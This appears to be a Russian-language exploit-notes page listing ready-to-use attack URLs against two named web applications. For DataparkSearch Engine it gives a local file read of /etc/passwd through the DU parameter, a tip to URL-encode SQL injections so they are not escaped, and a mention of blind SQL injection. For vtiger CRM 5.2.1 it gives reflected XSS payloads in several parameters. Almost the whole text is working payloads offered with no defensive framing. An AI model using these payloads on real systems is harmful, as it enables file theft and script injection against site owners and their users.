DataparkSearch Engine, SQL injection, XSS, Cross Site Scripting, File Include

DataparkSearch
DataPark Search Engine

Все SQL-inject запросы надо кодировать в Urlencode ALL, иначе экранируются.

В фаиле storedoc.cgi

Чтение фаилов: /etc/passwd


в GET параметре DU чтение фаила file:///etc/passwd
/kurgan/cache?CS=UTF-8&CT=text/html&DM=Sat,%2017%20Mar%202012,%2006:59:51%20YEKT&DS=48515&DU=file%3a%2f%2f%2fetc%2fpasswd&L=tr&label=&q=1&rec_id=1332401146


/kurgan/cache?DU=file:///etc/passwd
/kurgan/cache?DU=file%3a%2f%2f%2fetc%2fpasswd



Blind SQL Injection
Читать дальше

vtiger CRM 5.2.1 XSS

XSS

/include/SalesPlatform/NetIDNA/example.php/>"><ScRiPt>alert(14227)</ScRiPt>


decoded

/include/SalesPlatform/NetIDNA/example.php?decoded=%22%20onmouseover%3dprompt%28981290%29%20bad%3d%22&encode=Encode%20%3e%3e&idn_version=2003


encoded

/include/SalesPlatform/NetIDNA/example.php?decode=%3c%3c%20Decode&encoded=%22%20onmouseover%3dprompt%28937322%29%20bad%3d%22


lang


/include/SalesPlatform/NetIDNA/example.php?decode=&encode=&idn_version=&lang=%22%20onmouseover%3dprompt%28959182%29%20bad%3d%22


_operation

/modules/Mobile/index.php?_operation=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28922731%29%3c%2fScRiPt%3e


service

/vtigerservice.php?service=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28945713%29%3c%2fScRiPt%3e

Читать дальше